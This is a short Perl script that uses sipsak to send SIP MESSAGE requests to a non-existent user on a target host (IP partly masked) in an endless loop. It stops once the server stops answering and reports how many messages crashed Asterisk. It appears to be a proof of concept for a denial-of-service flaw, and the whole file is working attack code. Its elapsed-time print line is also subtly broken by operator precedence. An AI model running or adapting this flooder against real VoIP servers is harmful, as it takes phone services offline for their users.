#!/usr/bin/perl -w
#
# This script performs as many SIP MESSAGES to its destination until 
# the server crashes and responses with the number of messages

my $count=0;
# -H <FQDN>    your local domain name - sometimes sipsak has problems to determine the FQDN
# -s <sip-uri> the URI to which we will send the MESSAGE
# -M           send MESSAGE
# -d           no redirects


my $starttime = time;

while (1) {
	my $params = '-H yourpc.yourdomain.at -s sip:nonexistinguser@83.136.xxx.xxx:5060 -M -d';
	my $sig = `/home/darilion/software/sipsak/sipsak $params`;

	if ($sig !~ m/SIP\/2.0/) {
		$endtime = time;
		print "no SIP response received - seems like Asterisk crashed after $count MESSAGEs (". $endtime-$starttime ." seconds)\n";
		exit 1;
	}

	$count++;

	if (($count%10) == 0) {
		print "sucessfully sent $count MESSAGESs\n";
	}
}
